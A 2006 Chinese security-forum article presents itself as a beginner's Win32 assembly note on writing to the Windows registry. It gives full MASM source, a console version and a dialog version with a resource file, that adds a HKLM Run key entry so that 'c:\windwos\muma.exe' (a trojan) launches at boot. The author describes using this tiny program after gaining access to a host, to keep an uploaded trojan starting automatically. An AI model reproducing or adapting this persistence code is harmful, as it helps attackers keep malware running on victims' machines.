主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

病毒防治
漏洞公告
基础入门
Windows 系统安全
Linux 系统安全
防火墙
IDS/IPS
数据库及Web安全

 
RHU阅读排行
·络安全基础知识——分析口令攻击
·针对国内企业安全的十个漏洞
·系统应用技巧:Windows XP关闭端口保安全
·实现域网络管理模式之创建和管理用户组
·实现域网络管理模式之建立AD域
·怎样利用Windows XP实现网络统一关机
·小命令增加Router的安全
·从头到脚了解缓冲溢出 基本知识介普及
·网管员心声:Windows服务有“备”无患
·网络安全应急三观:宏观、中观和微观

 
 
RHU最新文章
·安全基础知识 最强0到33600端口详解
·深入了解远程登录标准协议Telnet
·安全基础系列之状态检测工作机制
·使用汇编写进注册表启动的简单例子
·作为网络管理员必须知晓的安全知识
·十七点安全知识详细了解进程和病毒
·安全基础 Hosts,一个不得不说得东西
·七种方法可以让你的电脑变得更安全
·NetFilter/iptables防火墙设置
·内网计算机安全技术 十大防护策略详解

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 安全技术-> 基础入门
使用汇编写进注册表启动的简单例子

作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2006-12-20 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


以下是我初学win32汇编的的笔记,学那么久了,也该丢篇文章出来,呵呵。

对注册表的操作,例如写入,修改,删除,在一些高级语言,例如 C/C++ VB中都有对注册表操作的API,但是我感觉用win32汇编写,比较适合我自己。例如,创建一个REG_SZ类型的数值,就用RegCreateKey创建一个新项,在API手册中,对它的介绍是“在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项,如果返回ERROR_SUCCESS,则表示成功”在创建一个新项后,就要用RegSetValueEx设置它的数值,具体的代码如下:

CODE:

.386
.model flat, stdcall
option casemap :none
include     windows.inc
include     user32.inc
includelib   user32.lib
include     kernel32.inc
includelib   kernel32.lib
include     advapi32.inc
includelib   advapi32.lib
.data
szRegKey         db     'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db     'Start',0 ;键值名称
szStr1           db   "c:\windwos\muma.exe" ;数据
.code
start:
_EnumKey   proc   _lpKey
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
  ret
_EnumKey     endp
invoke   _EnumKey,NULL
end start

程序中,利用伪指令invoke调用了RegCreateKey,关于RegCreateKey的参数,是这样描述“

invoke RegCreateKeyEx,hKey,lpSubKey,Reserved,lpClass,dwOptions,samDesired,

lpSecurityAttributes,phkResult,lpdwDisposition”

其中hKey用来指定了我们要创建新项的根建,当我们这样“invoke RegCreateKey,

HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey”调用的时候就在“HKEY_LOCAL_MACHINE”这个根建下进行操作,然后设置 “eax == ERROR_SUCCESS” ,说明了操作成功,这样,我们便可以使用RegSetValueEx设置数据名称和值。“invoke RegSetValueEx,@hKey,addr szRegValue,NULL, REG_SZ,addr szStr1,19” 创建了一个“Start”键值名称,它的数据值为“c:\windwos\muma.exe”,写入的子键位置在注册表启动。当然了,我们也可以设置一个REG_DWORD类型的数据值。

记得有一次我提权的时候,发现主机的环境是,有执行exe文件的权限,不过不知道为什么,给它放个鸽子,就提示说“文件尾数超出”,传了个较小一点的木马,运行效果也是不满意。自然想到写一个再小的东西,也就是上面那个代码,然后编译,才2.5K,汗,执行速度绝对一流,然后又设置了木马的路径。

接着,如果把它写成GUI界面的,自然要给它定义一个资源文件,并且加入消息列队执行..下面是GUI界面的代码:

CODE:

.386
.model flat, stdcall
option casemap :none
include     windows.inc
include     user32.inc
includelib   user32.lib
include     kernel32.inc
includelib   kernel32.lib
include     advapi32.inc
includelib   advapi32.lib
ICO_MAIN   equ 1000
DLG_MAIN   equ 1000
IDC_Innovation equ 1001
.data?
hInstance dd ?
.data
szRegKey         db     'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db     'Start',0 ;键值名称
szStr1           db   "c:\windwos\muma.exe" ;数据
szTitle db '操作成功',0
szCaption db '已经把c:\windwos\muma.exe设置为开机启动',0
.code
_EnumKey   proc   _lpKey
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  
invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
  ret
_EnumKey     endp
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
local @szBuffer[128]:byte
local @stFindFile:WIN32_FIND_DATA
mov eax,wMsg
.if eax == WM_CLOSE ;这里程序退出
    invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke LoadIcon,hInstance,ICO_MAIN
.elseif eax == WM_COMMAND
mov eax,wParam
.if ax == IDCANCEL
invoke EndDialog,hWnd,NULL
.elseif ax == IDC_Innovation
  invoke   _EnumKey,NULL ;调用子程序完成写入操作
  invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL   
invoke ExitProcess,NULL
end start

程序的变动不大,仅创建了一个模块对话框,只要几行代码就搞定.模块对话框的使用,省去了创建窗口,注册窗口类的麻烦.在_ProcDlgMain主程序中,WM_COMMAND是执行消息的标志,比如IDCANCEL,这个是“退出”,点击,消息列队执行,然后“invoke EndDialog,hWnd,NULL”关闭主程序,干净利落. 相同的,“IDC_Innovation”后,调用_EnumKey子程序,_EnumKey执行的过程,也就写入了启动位置,写完后,设置一个MessageBox提示操作成功。

下面是RC资源文件代码:

CODE:

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include   <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define ICO_MAIN   1000
#define DLG_MAIN   1000
#define IDC_Innovation 1001
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN ICON   "Main.ico"
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN DIALOG 105, 107, 190, 100
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "写进注册表启动"
FONT 9, "宋体"
{
PUSHBUTTON "退出(&X)", IDCANCEL, 15, 15, 70, 35
PUSHBUTTON "开始写入数据(&I)", IDC_Innovation, 100, 15, 70, 35
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • 微软 DebugView Dbgv.sys内核模块本地权限升漏洞
  • 安全基础知识 最强0到33600端口详解
  • 病毒注入winlogon 使Windows文件保护失效
  • 微软11月安全更新程序 ISO 映像
  • 注册表编辑器+权限控制,彻底废掉Autorun
  • -文章评论 (关闭)
    ·还没有相关的评论!

    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com